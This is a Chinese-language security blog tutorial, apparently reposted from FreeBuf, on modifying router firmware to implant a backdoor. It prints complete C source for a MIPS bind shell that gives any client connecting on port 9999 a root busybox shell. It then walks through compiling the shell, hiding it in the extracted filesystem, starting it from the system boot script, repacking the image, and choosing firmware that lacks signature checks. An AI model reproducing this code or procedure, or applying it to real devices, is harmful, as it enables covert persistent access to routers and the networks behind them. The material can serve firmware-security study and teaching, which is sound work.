路由器篡改固件添加后门 – 作者:Parad0x

路由器固件后门添加

0X01前言

上一篇文章内容介绍了如何使用Firmadyne进行固件仿真Firmadyne底层基于QEMU虚拟机,该工具可以对整个固件包的系统架构进行仿真并运行固件,本文内容主要描述了对固件包进行篡改后重新打包的过程。

0X02提取固件系统

FMK简介:

固件篡改过程中会用到FMK工具-firmware-mod-kit,该工具可以利用binwalk等工具从固件中提取出文件系统,将提出的文件系统内容进行篡改后,再重新打包成新的固件包,最后将篡改后的固件包刷新设备中,安装命令如下,该工具attifyOS系统中已经部署好了,不再展开详述。

安装命令:
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git

提取固件系统:

这里我们采用extract-firmware.sh来提取固件中文件系统,打开FMK目录运行以下命令:

./extract-firmware.sh 固件包名称

-w811打开提取固件完成后的目录,发现目录中存在以下文件夹:image_parts、logs、rootfs 。-w673查看文件夹内容,可以看到rootfs目录包含了一个完整的文件系统,也就是添加后门的主要位置。-w869

0X03 ARM、MIPS、X86架构简介

添加后门程序需要查看固件所基于的架构,如主流的ARM及MIPS等架构:

ARM

ARM是高级精简指令集的简称(Advanced RISC Machine),它是一个32位的精简指令集架构,但也配备16位指令集,一般来讲比等价32位代码节省达35%,却能保留32位系统的所有优势。ARM处理器的主要特点是:

  • 体积小、低功耗、低成本、高性能——ARM被广泛应用在嵌入式系统中的最重要的原因 支持Thumb(16位)/ARM(32位)双指令集,能很好的兼容8位/16位器件;

  • 大量使用寄存器,指令执行速度更快;

  • 大多数数据操作都在寄存器中完成;

  • 寻址方式灵活简单,执行效率高;

  • 指令长度固定。

  • Load_store结构:在RISC中,所有的计算都要求在寄存器中完成。而寄存器和内存的通信则由单独的指令来完成。而在CSIC中,CPU是可以直接对内存进行操作的。 流水线处理方式。

MIPS

MIPS架构(英语:MIPS architecture,为Microprocessor without interlocked piped stages architecture的缩写,亦为Millions of Instructions Per Second的相关语),是一种采取精简指令集(RISC)的处理器架构,1981年出现,由MIPS科技公司开发并授权,广泛被使用在许多电子产品、网络设备、个人娱乐装置与商业装置上。最早的MIPS架构是32位,最新的版本已经变成64位。

MIPS的基本特点是:

  • 包含大量的寄存器、指令数和字符。

  • 可视的管道延时时隙。

这些特性使MIPS架构能够提供最高的每平方毫米性能和当今SoC设计中最低的能耗。

X86

X86架构是芯片巨头Intel设计制造的一种微处理器体系结构的统称。如果这样说你不理解,那么当我说出8086,80286等这样的词汇时,相信你肯定马上就理解了,正是基于此,X86架构这个名称被广为人知。 如今,我们所用的PC绝大部分都是X86架构。可见X86架构普及程度,这也和Intel的霸主地位密切相关。 x86采用CISC(Complex Instruction Set Computer,复杂指令集计算机)架构。与采用RISC不同的是,在CISC处理器中,程序的各条指令是按顺序串行执行的,每条指令中的各个操作也是按顺序串行执行的。顺序执行的优点是控制简单,但计算机各部分的利用率不高,执行速度慢。

使用readelf命令查看固件所基于的系统,发现系统架构为小端MIPS:

readelf -h busybox      //rootfs系统中任意文件执行readelf命令

-w808

0X04编译后门

使用Osanda Malith开发的符合MIPS小端架构的后门并进行编译:

     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <sys/types.h>
     #include <sys/socket.h>
     #include <netinet/in.h>

     #define SERVER_PORT  9999
      /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
       * Bind Shell using Fork for my TP-Link mr3020 router running
     busybox
* Arch : MIPS
       * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -  march=24kc
       */
     int main() {
            int serverfd, clientfd, server_pid, i = 0;
            char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
            char *args[] = { "/bin/busybox", "sh", (char *) 0 };
            struct sockaddr_in server, client;
            socklen_t len;

            server.sin_family = AF_INET;
            server.sin_port = htons(SERVER_PORT);
            server.sin_addr.s_addr = INADDR_ANY;

            serverfd = socket(AF_INET, SOCK_STREAM, 0);
            bind(serverfd, (struct sockaddr *)&server, sizeof(server));
            listen(serverfd, 1);

        while (1) {
             len = sizeof(struct sockaddr);
             clientfd = accept(serverfd, (struct sockaddr *)&client,
&len);
           server_pid = fork();
         if (server_pid) {
           write(clientfd, banner,  strlen(banner));
              for(; i <3 /*u*/; i++) dup2(clientfd, i);
             execve("/bin/busybox", args, (char *) 0);
             close(clientfd);
         }  close(clientfd);
    } return 0;
}

MIPS交叉编译环境的搭建

安装Buildroot
安装依赖库:

  sudo apt-get update
  sudo apt-get install libncurses5-dev patch

下载源码:

  git clone https://github.com/buildroot/buildroot.git

-w714

执行make list-defconfigs命令查看开发板配置-w720

执行make menuconfig进行配置命令以后会出现Buildroot的编译配置界面:-w717选择 Target options(目标配置)Target Architecture (MIPS (little endian)),配置 Target Architecture(目标架构)为 MIPS (little endian),Target Architecture Variant 自动配置为(Generic MIPS32),不需要修改。其实,最后生成的编译器在编译程序的时,可以添加选项供用户进行大端或者小端的设置。-w720如配置交叉编译环境过程中遇到问题请参考MIPS交叉编译环境的搭建指南,直到环境搭建完成后才发现attifyOS中已部署好该环境。。。

shell文件

编译经过一段时间的编译完成以后,在Buildroot的根目录下会增加一个output文件,其中包含已经编译好的文件。-w715可以在 buildroot/output/host/usr/bin目录下找到生成的交叉编译工具,mips的编译器就是该目录下的mipsel-linux-gcc。

执行mipsel-linux-gcc --version查看版本-w723将上文中的后门文件bindshell.c进行编译为能够 植入文件系统的二进制文件。-w719

-w714

选择放置后门二进制文件的位置:/rootfs/etc/templates

-w731

在/etc/scripts/system.sh脚本中调用后门二进制文件bindshell:(文章是之前写的,竟然少了个图,硬盘没带)-w665

最后使用build-firmware.sh将修改后的文件系统重新打包为新的固件包。

此处注意下测试的固件版本是否有固件签名和校验值验证等操作,如果有固件校验等操作,初学者建议换个防护性较差的低版本来作为入门练习,开始未注意固件版本爬了许多坑,查阅很多资料,最后才测试成功。

-w1045

0X05参考资料:

http://m.elecfans.com/article/589086.html

https://blog.csdn.net/qq1084283172/article/details/68950682

http://www.mamicode.com/info-detail-2822683.html

《揭秘家用路由器0day漏洞挖掘技术》

《IOT_PENETRATION》

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

ewm.png

来源:freebuf.com 2020-03-19 16:44:18 by: Parad0x

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论